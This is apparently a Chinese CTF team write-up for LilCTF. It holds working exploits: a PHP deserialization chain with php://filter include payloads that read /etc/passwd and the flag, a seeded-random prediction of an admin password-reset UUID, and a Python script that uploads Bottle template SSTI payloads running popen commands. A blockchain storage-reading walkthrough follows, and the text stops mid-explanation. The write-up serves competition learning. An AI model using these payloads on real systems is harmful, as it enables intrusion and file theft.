队伍 在那年的夏日等你 信息 分数: 1543 排名: 49 WEB Your Uns3r 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php highlight_file (__FILE__ );class User { public $username ; public $value ; public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } }class Access { protected $prefix ; protected $suffix ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } }$ser = $_POST ["user" ];if (strpos ($ser , 'admin' ) !== false && strpos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); }$user = unserialize ($ser );throw new Exception ("nonono!!!" );
整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag
这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断
浅析PHP GC垃圾回收机制及常见利用方式-先知社区
一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(
这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}
然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class User { public $username = 0 ; public $value ; }class Access { protected $prefix = "" ; protected $suffix = "" ; }$user = array (new User (),0 );$user ->value = serialize (new Access ()); $payload = serialize ($user );echo $payload ;?>
Value是N,我打算后面的补上
这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class User { public $username = 0 ; public $value ; }class Access { protected $prefix = "php://filter/read=convert.base64-encode/resource=/" ; protected $suffix = "/../../../../etc/passwd" ; }$access = new Access ();$user = new User ();$user ->value = array ($access );$user ->value[0 ] = $access ;$user ->value = serialize ($access );echo serialize ($user );?>
这里生成的value放到上面的exp输出的序列化中
1 2 3 a :2 :{i:0 ;O:4 :"User" :2 :{s:8 :"username" ;i:0 ;s:5 :"value" ;N;}i:1 ;i:0 ;}O :4 :"User" :2 :{s:8 :"username" ;i:0 ;s:5 :"value" ;s:138 :"O:6:" Access":2:{s:9:" %00 *%00 prefix";s:50:" php://filter/read=convert.base64-encode/resource=/";s:9:" %00 *%00 suffix";s:23:" /../../../../etc/passwd";}" ;}
1 2 3 4 最终payloada :3 :{i :0 ;O:4 :"User" :2 :{s:8 :"username" ;i :0 ;s:5 :"value" ;s:138 :"O:6:" Access":2:{s:9:" %00 *%00 prefix";s:50:" php://filter/read=convert.base64-encode/resource=/";s:9:" %00 *%00s uffix";s:23:" /../../../../etc/passwd";}" ;}i :1 ;i :0 ;}a :3 :{i :0 ;O:4 :"User" :2 :{s:8 :"username" ;i :0 ;s:5 :"value" ;s:138 :"O:6:" Access":2:{s:9:" %00 *%00 prefix";s:50:" php://filter/read=convert.base64-encode/resource=/";s:9:" %00 *%00s uffix";s:23:" /../../../../flag";}" ;}i :1 ;i :0 ;}
Ekko_note 经过一番折腾发现python3.14有uuid v8 ,然后解铃还须系铃人,lamxu的uuidv8看了一下,copy一下写一个exp就行
1 2 3 4 5 6 7 SERVER_START_TIME = time.time()import random random.seed(SERVER_START_TIME)
这里给了serverstarttime,还有一个路由可以获取starttime,这里种子固定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/execute_command' , methods=['GET' , 'POST' ] ) @login_required def execute_command (): result = check_time_api() if result is None : flash("API死了啦,都你害的啦。" , "danger" ) return redirect(url_for('dashboard' )) if not result: flash('2066年才完工哈,你可以穿越到2066年看看' , 'danger' ) return redirect(url_for('dashboard' )) if request.method == 'POST' : command = request.form.get('command' ) os.system(command) return redirect(url_for('execute_command' )) return render_template('execute_command.html' )
我们发现这里需要admin执行command
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' )
这里是唯一可以伪造admin获取其重置token来重置admin密码的,那么种子固定,预测uuid就很简单了
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import randomimport uuid server_start_time = 1755353339.975761 random.seed(server_start_time)def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_intdef uuid8 (): a = padding('admin' ) b = random.getrandbits(12 ) c = random.getrandbits(62 ) int_uuid_8 = (a & 0xffff_ffff_ffff ) << 80 int_uuid_8 |= (b & 0xfff ) << 64 int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff _RFC_4122_VERSION_8_FLAGS = ((8 << 76 ) | (0x8000 << 48 )) int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS return uuid.UUID(int =int_uuid_8) admin_token = str (uuid8())print (admin_token)
ez_bottle exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import requestsimport zipfileimport osimport reimport time TARGET_URL = "http://challenge.xinshi.fun:46222" def create_evil_zip (i, url ): os.makedirs("tmp" , exist_ok=True ) with open ("tmp/a.tpl" , "w" ) as f: f.write("% include('./uploads/" + url + "', title='Page Title')" ) print ("% include('./uploads/" + url + "', title='Page Title')" ) with open ("tmp/exploit.tpl" , "w" ) as f: f.write( """{{''.__class__.__bases__[0].__subclasses__()[""" + str (i) + """].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}""" ) print ("""{{''.__class__.__bases__[0].__subclasses__()[""" + str (i) + """].__init__.__globals__['popen']('ls /').read()}}""" ) with zipfile.ZipFile("exploit.zip" , "w" ) as z: z.write("tmp/exploit.tpl" , "exploit.tpl" ) z.write("tmp/a.tpl" , "a.tpl" ) return "exploit.zip" def upload_zip (zip_path ): url = f"{TARGET_URL} /upload" with open (zip_path, "rb" ) as f: files = {"file" : (os.path.basename(zip_path), f)} response = requests.post(url, files=files) return response.textdef extract_view_url (response_text ): print (response_text) pattern = r"访问: /view/([a-f0-9]{32})/([^\s]+)" match = re.search(pattern, response_text) if match : md5_hash = match .group(1 ) filename = 'a.tpl' return f"/view/{md5_hash} /{filename} " , f"{md5_hash} /exploit.tpl" return None def get_flag (view_url ): url = f"{TARGET_URL} {view_url} " response = requests.get(url) request = response.request print (request.method) print (request.url) print (request.headers) print (request.body) return response.textif __name__ == "__main__" : last_url = "58aab835965b994b92c397a94a600a03/exploit.tpl" for i in range (115 ,118 ): print ("-------------------------------------------------------\n" ) print ("[*] Creating malicious ZIP file..." ) zip_file = create_evil_zip(i, last_url) print ("[*] Uploading ZIP file to server..." ) response = upload_zip(zip_file) print ("[*] Extracting file view URL..." ) view_url, last_url = extract_view_url(response) if not view_url: print ("[-] Failed to extract view URL" ) print (f"Response: {response} " ) exit(1 ) print (f"[+] Found view URL: {view_url} " ) print ("[*] Requesting file to trigger exploit..." ) flag = get_flag(view_url) os.remove(zip_file) print ("\n[+] Exploit completed!" ) print (f"\n[FLAG] {flag} " ) print ("-------------------------------------------------------\n" ) print () print () print ()
BlockChain lilctf 生蚝的宝藏 题目没有给源码,而是自己建造了一个rpc,部署合约交互 先获取构造交易的字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from web3 import Web3 RPC_URL = "http://106.15.138.99:8545/" CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E" TX_HASH = "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061" w3 = Web3(Web3.HTTPProvider(RPC_URL)) tx = w3.eth.get_transaction(TX_HASH) r = w3.to_json(tx)print (r)
//
1 { "blockHash" : "0xba8a0dd04e0871fed04bfe5b843197a499b05882c8d54aa22ea3fb11b943995c" , "blockNumber" : 9725 , "from" : "0xa7A18b63f52fEE6113358EAd8171049D9A4316b1" , "gas" : 397106 , "gasPrice" : 1000000007 , "hash" : "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061" , "input" : "0x608060405234801561001057600080fd5b506040516107f03803806107f083398101604081905261002f9161021d565b6100388161005d565b805161004c9160009160209091019061016e565b50506001805460ff19169055610388565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b6020820152815160609183916000906001600160401b038111156100a1576100a1610207565b6040519080825280601f01601f1916602001820160405280156100cb576020820181803683370190505b50905060005b835181101561016557828351826100e891906102ec565b815181106100f8576100f861030e565b602001015160f81c60f81b60f81c8482815181106101185761011861030e565b602001015160f81c60f81b60f81c1860f81b82828151811061013c5761013c61030e565b60200101906001600160f81b031916908160001a9053508061015d81610324565b9150506100d1565b50949350505050565b82805461017a9061034d565b90600052602060002090601f01602090048101928261019c57600085556101e2565b82601f106101b557805160ff19168380011785556101e2565b828001600101855582156101e2579182015b828111156101e25782518255916020019190600101906101c7565b506101ee9291506101f2565b5090565b5b808211156101ee57600081556001016101f3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561023057600080fd5b82516001600160401b038082111561024757600080fd5b818501915085601f83011261025b57600080fd5b81518181111561026d5761026d610207565b604051601f8201601f19908116603f0116810190838211818310171561029557610295610207565b8160405282815288868487010111156102ad57600080fd5b600093505b828410156102cf57848401860151818501870152928501926102b2565b828411156102e05760008684830101525b98975050505050505050565b60008261030957634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561034657634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c9082168061036157607f821691505b6020821081141561038257634e487b7160e01b600052602260045260246000fd5b50919050565b610459806103976000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c634300080900330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764000000000000000000000000000000000000" , "nonce" : 0 , "to" : null , "transactionIndex" : 0 , "value" : 0 , "type" : 0 , "chainId" : 21348 , "v" : 42731 , "r" : "0xaf22cddb94a9335042245e7d642e6f8b0db30a85d599a3c6ba2ff30187643ff8" , "s" : "0x638aa8384bc6cbcdf1954a48c825dc01b5723c2bbae672540f0753bb429bf1b7" }
然后去Online Solidity Decompiler 反编译
拿到反编译代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 contract Contract { function main ( ) { memory[0x40 :0x60 ] = 0x80 ; var var0 = msg.value ; if (var0) { revert (memory[0x00 :0x00 ]); } if (msg.data .length < 0x04 ) { revert (memory[0x00 :0x00 ]); } var0 = msg.data [0x00 :0x20 ] >> 0xe0 ; if (var0 == 0x5cc4d812 ) { var var1 = 0x004e ; var var2 = 0x0049 ; var var3 = msg.data .length ; var var4 = 0x04 ; var2 = func_023A (var3, var4); func_0049 (var2); stop (); } else if (var0 == 0x64d98f6e ) { var temp0 = memory[0x40 :0x60 ]; memory[temp0 :temp0 + 0x20 ] = !!(storage[0x01 ] & 0xff ); var temp1 = memory[0x40 :0x60 ]; return memory[temp1 :temp1 + (temp0 + 0x20 ) - temp1]; } else { revert (memory[0x00 :0x00 ]); } } function func_0049 (var arg0 ) { var var0 = 0x0073 ; var var1 = arg0; var0 = func_0112 (var1); var temp0 = var0; var0 = 0x0083 ; var var2 = memory[0x40 :0x60 ] + 0x20 ; var1 = temp0; var0 = func_02EB (var1, var2); var temp1 = memory[0x40 :0x60 ]; var temp2 = var0; memory[temp1 :temp1 + 0x20 ] = temp2 - temp1 - 0x20 ; memory[0x40 :0x60 ] = temp2; var0 = keccak256 (memory[temp1 + 0x20 :temp1 + 0x20 + memory[temp1 :temp1 + 0x20 ]]); var1 = 0x00ab ; var var3 = memory[0x40 :0x60 ] + 0x20 ; var2 = 0x00 ; var1 = func_0326 (var2, var3); var temp3 = memory[0x40 :0x60 ]; var temp4 = var1; memory[temp3 :temp3 + 0x20 ] = temp4 - temp3 - 0x20 ; memory[0x40 :0x60 ] = temp4; if (keccak256 (memory[temp3 + 0x20 :temp3 + 0x20 + memory[temp3 :temp3 + 0x20 ]]) == var0) { storage[0x01 ] = (storage[0x01 ] & ~0xff ) | 0x01 ; return ; } else { var temp5 = memory[0x40 :0x60 ]; memory[temp5 :temp5 + 0x20 ] = 0x461bcd << 0xe5 ; memory[temp5 + 0x04 :temp5 + 0x04 + 0x20 ] = 0x20 ; memory[temp5 + 0x24 :temp5 + 0x24 + 0x20 ] = 0x0e ; memory[temp5 + 0x44 :temp5 + 0x44 + 0x20 ] = 0x57726f6e67205472656173757265 << 0x90 ; var temp6 = memory[0x40 :0x60 ]; revert (memory[temp6 :temp6 + (temp5 + 0x64 ) - temp6]); } } function func_0112 (var arg0 ) returns (var r0) { var temp0 = memory[0x40 :0x60 ]; memory[0x40 :0x60 ] = temp0 + 0x40 ; memory[temp0 :temp0 + 0x20 ] = 0x0c ; memory[temp0 + 0x20 :temp0 + 0x20 + 0x20 ] = 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1 ; var var2 = temp0; var var0 = 0x60 ; var var1 = arg0; var var4 = memory[var1 :var1 + 0x20 ]; var var3 = 0x00 ; if (var4 <= 0xffffffffffffffff ) { var temp1 = memory[0x40 :0x60 ]; var temp2 = var4; var var5 = temp2; var4 = temp1; memory[var4 :var4 + 0x20 ] = var5; memory[0x40 :0x60 ] = var4 + (var5 + 0x1f & ~0x1f ) + 0x20 ; if (!var5) { var3 = var4; var4 = 0x00 ; if (var4 >= memory[var1 :var1 + 0x20 ]) { label_021B : return var3; } else { label_0191 : var5 = var2; var var6 = 0x019e ; var var7 = memory[var5 :var5 + 0x20 ]; var var8 = var4; var6 = func_03C2 (var7, var8); if (var6 < memory[var5 :var5 + 0x20 ]) { var5 = ((memory[var6 + 0x20 + var5 :var6 + 0x20 + var5 + 0x20 ] >> 0xf8 ) << 0xf8 ) >> 0xf8 ; var6 = var1; var7 = var4; if (var7 < memory[var6 :var6 + 0x20 ]) { var5 = ((((memory[var7 + 0x20 + var6 :var7 + 0x20 + var6 + 0x20 ] >> 0xf8 ) << 0xf8 ) >> 0xf8 ) ~ var5) << 0xf8 ; var6 = var3; var7 = var4; if (var7 < memory[var6 :var6 + 0x20 ]) { memory[var7 + 0x20 + var6 :var7 + 0x20 + var6 + 0x01 ] = byte (var5 & ~((0x01 << 0xf8 ) - 0x01 ), 0x00 ); var5 = var4; var6 = 0x0213 ; var7 = var5; var6 = func_03FA (var7); var4 = var6; if (var4 >= memory[var1 :var1 + 0x20 ]) { goto label_021B; } else { goto label_0191; } } else { var8 = 0x01f2 ; label_03E4 : memory[0x00 :0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x32 ; revert (memory[0x00 :0x24 ]); } } else { var8 = 0x01ce ; goto label_03E4; } } else { var7 = 0x01ae ; goto label_03E4; } } } else { var temp3 = var5; memory[var4 + 0x20 :var4 + 0x20 + temp3] = msg.data [msg.data .length :msg.data .length + temp3]; var3 = var4; var4 = 0x00 ; if (var4 >= memory[var1 :var1 + 0x20 ]) { goto label_021B; } else { goto label_0191; } } } else { var5 = 0x0157 ; memory[0x00 :0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x41 ; revert (memory[0x00 :0x24 ]); } } function func_023A (var arg0, var arg1 ) returns (var r0) { var var0 = 0x00 ; if (arg0 - arg1 i< 0x20 ) { revert (memory[0x00 :0x00 ]); } var var1 = msg.data [arg1 :arg1 + 0x20 ]; var var2 = 0xffffffffffffffff ; if (var1 > var2) { revert (memory[0x00 :0x00 ]); } var temp0 = arg1 + var1; var1 = temp0; if (var1 + 0x1f i>= arg0) { revert (memory[0x00 :0x00 ]); } var var3 = msg.data [var1 :var1 + 0x20 ]; if (var3 <= var2) { var temp1 = memory[0x40 :0x60 ]; var temp2 = ~0x1f ; var temp3 = temp1 + ((temp2 & var3 + 0x1f ) + 0x3f & temp2); var var4 = temp3; var var5 = temp1; if (!((var4 < var5) | (var4 > var2))) { memory[0x40 :0x60 ] = var4; var temp4 = var3; memory[var5 :var5 + 0x20 ] = temp4; if (var1 + temp4 + 0x20 > arg0) { revert (memory[0x00 :0x00 ]); } var temp5 = var3; var temp6 = var5; memory[temp6 + 0x20 :temp6 + 0x20 + temp5] = msg.data [var1 + 0x20 :var1 + 0x20 + temp5]; memory[temp6 + temp5 + 0x20 :temp6 + temp5 + 0x20 + 0x20 ] = 0x00 ; return temp6; } else { var var6 = 0x02b2 ; label_0224 : memory[0x00 :0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x41 ; revert (memory[0x00 :0x24 ]); } } else { var4 = 0x028a ; goto label_0224; } } function func_02EB (var arg0, var arg1 ) returns (var r0) { var var0 = 0x00 ; var var1 = memory[arg0 :arg0 + 0x20 ]; var var2 = 0x00 ; if (var2 >= var1) { label_030C : if (var2 <= var1) { return var1 + arg1; } var temp0 = var1; var temp1 = arg1; memory[temp1 + temp0 :temp1 + temp0 + 0x20 ] = 0x00 ; return temp0 + temp1; } else { label_02FB : var temp2 = var2; memory[temp2 + arg1 :temp2 + arg1 + 0x20 ] = memory[arg0 + temp2 + 0x20 :arg0 + temp2 + 0x20 + 0x20 ]; var2 = temp2 + 0x20 ; if (var2 >= var1) { goto label_030C; } else { goto label_02FB; } } } function func_0326 (var arg0, var arg1 ) returns (var r0) { var var0 = 0x00 ; var var1 = var0; var temp0 = storage[arg0]; var var2 = temp0; var var4 = 0x01 ; var var3 = var2 >> var4; var var5 = var2 & var4; if (var5) { var var6 = 0x20 ; if (var5 != (var3 < var6)) { label_0362 : var var7 = var5; if (!var7) { var temp1 = arg1; memory[temp1 :temp1 + 0x20 ] = var2 & ~0xff ; var1 = temp1 + var3; label_03B4 : return var1; } else if (var7 == 0x01 ) { memory[0x00 :0x20 ] = arg0; var var8 = keccak256 (memory[0x00 :0x20 ]); var var9 = 0x00 ; if (var9 >= var3) { label_03AC : var1 = arg1 + var3; goto label_03B4; } else { label_039C : var temp2 = var8; var temp3 = var9; memory[temp3 + arg1 :temp3 + arg1 + 0x20 ] = storage[temp2]; var8 = var4 + temp2; var9 = var6 + temp3; if (var9 >= var3) { goto label_03AC; } else { goto label_039C; } } } else { goto label_03B4; } } else { label_034F : var temp4 = var1; memory[temp4 :temp4 + 0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x22 ; revert (memory[temp4 :temp4 + 0x24 ]); } } else { var temp5 = var3 & 0x7f ; var3 = temp5; var6 = 0x20 ; if (var5 != (var3 < var6)) { goto label_0362; } else { goto label_034F; } } } function func_03C2 (var arg0, var arg1 ) returns (var r0) { var var0 = 0x00 ; if (arg0) { return arg1 % arg0; } memory[0x00 :0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x12 ; revert (memory[0x00 :0x24 ]); } function func_03FA (var arg0 ) returns (var r0) { var var0 = 0x00 ; if (arg0 != ~0x00 ) { return arg0 + 0x01 ; } memory[0x00 :0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x11 ; revert (memory[0x00 :0x24 ]); } }
从主函数可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function main ( ) { memory[0x40 :0x60 ] = 0x80 ; var var0 = msg.value ; if (var0) { revert (memory[0x00 :0x00 ]); } if (msg.data .length < 0x04 ) { revert (memory[0x00 :0x00 ]); } var0 = msg.data [0x00 :0x20 ] >> 0xe0 ; if (var0 == 0x5cc4d812 ) { var var1 = 0x004e ; var var2 = 0x0049 ; var var3 = msg.data .length ; var var4 = 0x04 ; var2 = func_023A (var3, var4); func_0049 (var2); stop (); } else if (var0 == 0x64d98f6e ) { var temp0 = memory[0x40 :0x60 ]; memory[temp0 :temp0 + 0x20 ] = !!(storage[0x01 ] & 0xff ); var temp1 = memory[0x40 :0x60 ]; return memory[temp1 :temp1 + (temp0 + 0x20 ) - temp1]; } else { revert (memory[0x00 :0x00 ]); } }
1.不接受转账 2.输入数据要大于4字节 两个函数分发,0x5cc4d812的unknown函数就是验证函数,0x64d98f6e就是isSolved函数
然后查看验证函数逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function func_0049 (var arg0 ) { var var0 = 0x0073 ; var var1 = arg0; var0 = func_0112 (var1); var temp0 = var0; var0 = 0x0083 ; var var2 = memory[0x40 :0x60 ] + 0x20 ; var1 = temp0; var0 = func_02EB (var1, var2); var temp1 = memory[0x40 :0x60 ]; var temp2 = var0; memory[temp1 :temp1 + 0x20 ] = temp2 - temp1 - 0x20 ; memory[0x40 :0x60 ] = temp2; var0 = keccak256 (memory[temp1 + 0x20 :temp1 + 0x20 + memory[temp1 :temp1 + 0x20 ]]); var1 = 0x00ab ; var var3 = memory[0x40 :0x60 ] + 0x20 ; var2 = 0x00 ; var1 = func_0326 (var2, var3); var temp3 = memory[0x40 :0x60 ]; var temp4 = var1; memory[temp3 :temp3 + 0x20 ] = temp4 - temp3 - 0x20 ; memory[0x40 :0x60 ] = temp4; if (keccak256 (memory[temp3 + 0x20 :temp3 + 0x20 + memory[temp3 :temp3 + 0x20 ]]) == var0) { storage[0x01 ] = (storage[0x01 ] & ~0xff ) | 0x01 ; return ; } else { var temp5 = memory[0x40 :0x60 ]; memory[temp5 :temp5 + 0x20 ] = 0x461bcd << 0xe5 ; memory[temp5 + 0x04 :temp5 + 0x04 + 0x20 ] = 0x20 ; memory[temp5 + 0x24 :temp5 + 0x24 + 0x20 ] = 0x0e ; memory[temp5 + 0x44 :temp5 + 0x44 + 0x20 ] = 0x57726f6e67205472656173757265 << 0x90 ; var temp6 = memory[0x40 :0x60 ]; revert (memory[temp6 :temp6 + (temp5 + 0x64 ) - temp6]); } }
1.先用func_0112(var1)对输入数据进行解码 2.然后进行keccak256哈希=>var0 3.调用func_0326提取treasure 4.计算treasure的哈希是否等于var0
所以,我们的目标就很明确了,找到treasure,按它的算法逆向,就可以找到需要的输入数据
来看func_0326
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 function func_0326 (var arg0, var arg1 ) returns (var r0) { var var0 = 0x00 ; var var1 = var0; var temp0 = storage[arg0]; var var2 = temp0; var var4 = 0x01 ; var var3 = var2 >> var4; var var5 = var2 & var4; if (var5) { var var6 = 0x20 ; if (var5 != (var3 < var6)) { label_0362 : var var7 = var5; if (!var7) { var temp1 = arg1; memory[temp1 :temp1 + 0x20 ] = var2 & ~0xff ; var1 = temp1 + var3; label_03B4 : return var1; } else if (var7 == 0x01 ) { memory[0x00 :0x20 ] = arg0; var var8 = keccak256 (memory[0x00 :0x20 ]); var var9 = 0x00 ; if (var9 >= var3) { label_03AC : var1 = arg1 + var3; goto label_03B4; } else { label_039C : var temp2 = var8; var temp3 = var9; memory[temp3 + arg1 :temp3 + arg1 + 0x20 ] = storage[temp2]; var8 = var4 + temp2; var9 = var6 + temp3; if (var9 >= var3) { goto label_03AC; } else { goto label_039C; } } } else { goto label_03B4; } } else { label_034F : var temp4 = var1; memory[temp4 :temp4 + 0x20 ] = 0x4e487b71 << 0xe0 ; memory[0x04 :0x24 ] = 0x22 ; revert (memory[temp4 :temp4 + 0x24 ]); } } else { var temp5 = var3 & 0x7f ; var3 = temp5; var6 = 0x20 ; if (var5 != (var3 < var6)) { goto label_0362; } else { goto label_034F; } } }
好难看,让ai美化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function readFromStorage (uint256 slot, uint256 memPtr ) pure returns (uint256 endPtr) { bytes32 data = storage[slot]; bool isLong = (uint8 (data) & 0x01 ) == 1 ; uint256 length = uint256 (data) >> 1 ; if (isLong) { uint256 startSlot = uint256 (keccak256 (abi.encode (slot))); for (uint256 i = 0 ; i < length; i += 32 ) { bytes32 chunk = storage[startSlot + i/32 ]; assembly { mstore (add (memPtr, i), chunk) } } } else { assembly { mstore (memPtr, and (data, not (0xff ))) } } return memPtr + length; }
所以是将数据分成两种形式存储,长和短,标志是最后一位是否为1 短格式:数据在高字节 长格式:从 keccak256(slot) 开始读 我们先获取一下storage slot
1 2 3 4 5 6 7 8 9 10 11 12 13 from web3 import Web3 RPC_URL = "http://106.15.138.99:8545/" CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E" w3 = Web3(Web3.HTTPProvider(RPC_URL)) val0 = w3.eth.get_storage_at(CONTRACT, 0 ) val1 = w3.eth.get_storage_at(CONTRACT, 1 )print (val0.hex ())print (val1.hex ())
只有一个 5d=1011101 所以是长数据,并且长度为(5d-1)/2=46(5d >> 1) (存储和临时存储中状态变量的布局 — Solidity 0.8.31 文档 — Layout of State Variables in Storage and Transient Storage — Solidity 0.8.31 documentation ) 并且实际存储位置为keccak256(uint256(0)) 也就是
1 w3.keccak(hexstr="0x" +"0" *64 ).hex ()
又因为一个存储槽最大32位 所以可以通过以下代码获取treasure
